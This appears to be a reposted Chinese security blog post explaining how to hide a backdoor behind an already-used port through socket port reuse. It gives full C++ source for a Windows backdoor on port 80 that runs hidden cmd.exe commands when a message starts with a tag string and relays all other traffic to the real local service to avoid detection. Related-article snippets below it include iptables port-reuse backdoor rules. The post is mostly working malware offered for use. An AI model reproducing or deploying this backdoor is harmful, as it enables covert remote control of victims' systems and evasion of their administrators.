安全之路 —— 利用端口复用技术隐藏后门端口

简介

前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。

C++代码样例

/////////////////////////////////////////
//
// FileName : ReUseSocket.cpp
// Creator : PeterZ1997
// Date : 2018-5-31 17:54
// Comment : 端口复用后门(单管道)
// Editor : Visual Studio 2017
//
/////////////////////////////////////////


/***************************************************************/
/*  注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 */
/***************************************************************/

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#pragma once
#define MAX_COUNT 255       //字符串最大长度
#define MAX_CONN_COUNT 1024 //最大连接数

typedef struct ThreadParam {  //SocketProc多线程结构体
    SOCKET sClient;
    sockaddr_in addr;
}tP;

const DWORD dwPort = 80;                        //端口号
const CHAR szTagContent[MAX_COUNT] = "peter-";  //连接标识
const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度


/**
 * @brief 字符串切片
 * @param str1 源字符串
 * @param str2 结果字符串
 * @param dwBeginCount 数组下标起始值
 * @param dwEndCount 数组下标的最终值(取到前一位)
 */
VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
{
    if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255)
    {
        return;
    }
    for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++)
    {
        str2[j] = str1[i];
    }
    return;
}

/**
 * @brief 管道数据监控
 * @param sClient 客户端Socket对象
 * @param hOutputPipe 输出管道
 */
VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
{
    DWORD dwTotalAvail = 0;
    DWORD dwReadLength = 0;
    CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0";
    ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);
    send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);
    ZeroMemory(pipeBuffer, sizeof(pipeBuffer));
    return;
}

/**
 * @brief 打开Shell
 * @param sClient 客户端Socket对象
 * @param szRecvBuffer 字符串接收缓冲区
 */
VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
{
    HANDLE hInputPipe, outputPipe;
    CHAR szCmdLine[MAX_COUNT] = "\0";
    CHAR szSendData[MAX_COUNT] = "\0";
    if (strlen(szRecvBuffer) <= dwTagLength)
    {
        send(sClient, "None", 5, 0);
        return;
    }
    StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    CreatePipe(&outputPipe, &hInputPipe, &sa, 0);
    Sleep(200);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.hStdError = hInputPipe;
    si.hStdOutput = hInputPipe;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(szSendData, sizeof(szSendData));
    StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c ");
    StringCchCat(szSendData, sizeof(szSendData), szCmdLine);
    CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生
    DataMonitor(sClient, outputPipe);
    return;
}

/**
 * @brief 客户端Socket处理
 * @param lpParam ThreadParam参数结构体
 */
DWORD WINAPI SocketProc(LPVOID lpParam)
{
    SOCKET sClient = ((tP*)lpParam)->sClient;
    CHAR szRecvBuffer[MAX_COUNT * 10] = "\0";
    SOCKET sNative;
    sockaddr_in saiNativeAddr;
    CHAR szTip[] = "\r\nPeterBD>";
    struct timeval optNativeValue;
    saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    saiNativeAddr.sin_family = AF_INET;
    saiNativeAddr.sin_port = htons(dwPort);
    sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sNative == INVALID_SOCKET)
    {
        closesocket(sClient);
        return 0;
    }
    optNativeValue.tv_sec = 1;
    optNativeValue.tv_usec = 0;
    if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR)  //设置接收超时
    {
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发
    {
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    while (TRUE)
    {
        send(sClient, szTip, (size_t)strlen(szTip), 0);
        ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
        DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);
        if (ret == SOCKET_ERROR)
        {
            break;
        }
        if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0)
        {
            StartShell(sClient, szRecvBuffer);
            continue;
        }
        send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
        ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
        recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);
        if (strlen(szRecvBuffer))
        {
            send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
        }
    }
    closesocket(sClient);
    closesocket(sNative);
    return 0;
}

/**
 * @brief 主函数
 */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in saiServerAddr;
    in_addr iaTempAddr;
    tP *tp[MAX_CONN_COUNT];
    HANDLE hThreadPool[MAX_CONN_COUNT];
    int connCount = 0;
    int s_ClientAddrSize = 0;
    CHAR szHostName[MAX_COUNT] = "\0";
    if (WSAStartup(0x0202, &wsd))
    {
        return 0;
    }
    gethostname(szHostName, sizeof(szHostName));
    HOSTENT *hostInfo = gethostbyname(szHostName);
    saiServerAddr.sin_family = AF_INET;
    saiServerAddr.sin_port = htons(dwPort);
    memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ip
    saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;
    sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);
    int dwOptVal = 1;
    if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式
    {
        return 0;
    }
    if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (listen(sServer, SOMAXCONN) == SOCKET_ERROR)
    {
        return 0;
    }
    while (connCount < MAX_CONN_COUNT)
    {
        tp[connCount] = (tP*)malloc(sizeof(tP));
        s_ClientAddrSize = sizeof(tp[connCount]->addr);
        tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);
        hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);
        connCount++;
    }
    WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);
    for (int i = 0; i < connCount; i++)
    {
        CloseHandle(hThreadPool[i]);
        closesocket(tp[i]->sClient);
    }
    closesocket(sServer);
    WSACleanup();
    ExitProcess(0);
    return 0;
}

转载于:https://www.cnblogs.com/PeterZ1997/p/9532045.html

单细胞基因可视化之热图的根本改造2 我们前面已经说过了单细胞marker/或者其他任意基因的热图的简单修饰(单细胞基因可视化之热图改造修饰1),仅仅是基于颜色和DoHeatmap函数的参数修饰。那么要对热图进行根本的改造,关键点在于提取表达矩阵,然后对分组进行注释,就可以使用heatmap或者ComplexHeatmap来做图了。 首先计算marker基因,然后选择自己需要展示的基因。 library(Seurat) library(stringr) library(dplyr) all.markers <- Find 阅读详情

相关推荐

在移动固态上安装ubuntu系统,重启后卡住报错:blk_update_request: I/O error, dev sda, sector ... op 0x0 (READ)如何解决?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值 。

**My Coding Family** 1709

安全知识】——端口复用隐藏后门

后门隐藏技巧之端口复用

Demo不是emo的博客 2939

隐藏IP和端口,可以隐藏指定的IP和端口

IP,端口隐藏工具IP

协议Jiurl255 技术参考

这是一种很特殊的方法,使用它通讯没有端口,而且由于它的特殊性,也许会带来一些其他的优点。但这种方法也有一个比较大的缺点。    它,也许该起个名字,比如叫Jiurl255。它不使用tcp协议,也不使用udp协议,也不使用icmp协议。它使用什么协议,就像乱起的那个名字一样,它使用255协议。 上面这幅图,是一个没有IP选项的IP头。其中有个字段为8位协议,一个字节长,系统就是通过这个字节

FreeXploiT 1606

木马控制技术(二) -- 端口复用

本文转自:http://www.cnblogs.com/handt/archive/2012/08/10/2631728.html 端口复用,字面意思就是,重复使用一个端口 记得有一次同学的 sina 微博总是自动发消息,当时让他查看本地端口,再通过端口找到对应程序 学了端口复用和线程注入之后,发现这种方法对“高级点”的木马完全没用…… 还是需要一些强大的 HIP 工具来检查 回到正...

weixin_30242907的博客 292

服务器如何隐藏端口才能不被扫描?

服务器如何隐藏端口才能不被扫描

2409_89014517的博客 4488

iptables端口复用后门

端口复用是不同的应用程序使用相同的端口进行通讯,在内网渗透中,服务器仅允许指定的端口开放,利用端口复用可以把例如3389端口转发到80端口上进行外部连接。:服务器一般部署在内网,仅有web服务用于被访问,我们将其他的服务通过端口复用绑定在80端口上,相当于给自己留下了一个后门。4、创建关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉。3、创建开启开关,如果接收到长1139的ICMP包,则将来源ip添加到letmein的列表中。

m0_59503157的博客 486

iptables端口复用后门+sslh+awk

首先是要用到iptables防火墙,创建iptables规则

weixin_57385269的博客 322

应急响应实战笔记03权限维持篇(1)

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。

qq_59468567的博客 1107

Linux权限维持

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600--name yhzl--rsource -j sxw #如果发现syn的包中的流量中的源IP处于yhzl集合中,就跳转到sxw链中处理,响应的时间为3600秒。iptables -t nat -A aaa -p tcp -j redirect --to-port 22//使用redirect端口映射将流量转发到22端口

weixin_61638307的博客 680

linux 端口复用后门,一条命令实现端口复用后门

说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。对于不想看原理,只关心如何使用的读者可以直接跳到“0x02. 后门配置”。0x01. 基本原理介绍该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自...

weixin_39629093的博客 708

网络世界的“后门”——端口的故事

编者按:上网的时候,我们经常会看到“端口”这个词,也会经常用到端口号,比如在FTP地址后面增加的“21”,21就表示端口号。那么端口到底是什么意思呢?怎样查看端口号呢?下面我就来给大家讲一讲这方面的知识,这将使你在预防和受到“攻击”时能够轻易的化解危机……文章导引:01、端口的概念与分类02、怎样查看端口与关闭/开启端口03、常见网络端口:21、23、2504、常见网络端口:5

溺水的鱼 - Later equals never. 1666

网络渗透测试-远程控制:为什么6200端口变成了一个“后门

事实上,在运行的vsftpd-2.3.4中,当用户名中存在“:)”两个连续的符号时,就会激活vsf_sysutil_exr函数,这个函数会在本地建立一个socket,然后绑定到6200端口,之后调用exec函数绑定/bin/sh。打开另一个终端,使用nmap -p port ip 来查询靶机的6200的端口开放情况,这里即输入nmap -p 6200 129.168.146.129 ,发现靶机的6200端口已经打开了。然后用语法 “user 随意内容:)”,下一步,输入“pass 随意内容”,如下图,

m0_73804656的博客 452

网络“后门”-端口的故事①

在上网的时候,我们经常会看到“端口”这个词,也会经常用到端口号,比如在FTP地址后面增加的“ 21”,21就表示端口号。那么端口到底是什么意思呢?怎样查看端口号呢?下面就将介绍这方面的内容。   端口概念   在网络技术中,端口(Port)大致有两种意思:一是物理意义上的端口,比如,ADSL Modem、集线器、交换机、路由器用于连接其他网络设备的接口,如RJ-45端口、SC端口等等。二是

木牛的博客 757

端口截听实现端口隐藏,嗅探与攻击

创建时间:2002-11-05文章属性:原创文章提交:flashsky (flashsky1_at_sina.com)作者:FLASHSKYEMAIL:flashsky@xfocus.org站点:www.xfocus.net  www.shopsky.com转载请注明原作者安全焦点在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:       s=socket(AF_INE

uuty的专栏 1208

Hook 系统服务隐藏端口

作者: JIURL主页: http://jiurl.yeah.net有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。netstat 或者其他各种列举端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终

...... 2289

计算机端口伪装,隐藏和伪装端口banner

OpenSSH修改openssh-3.x/version.h找到#define SSH_VERSION "OpenSSH_3.x"修改后编译安装修改SSH-2.0 (不建议)proto-mismatch.shproto-version.shSSH版本号:修改apps/ssh/ssh2version.h#define SSH2_VERSION "3.2.9.1"banner名:修改apps...

weixin_29214335的博客 1077

FMSC Ethercat AX58100_ax58100与stm32_stm32实现ethercat_stm32f407_AX

基于STM32F4的EtherCAT应用层实现

上一篇: 安全之路 —— C/C++实现后门的服务自启动
下一篇: 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
dengdao1372
博客等级 码龄10年 5粉丝 0原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值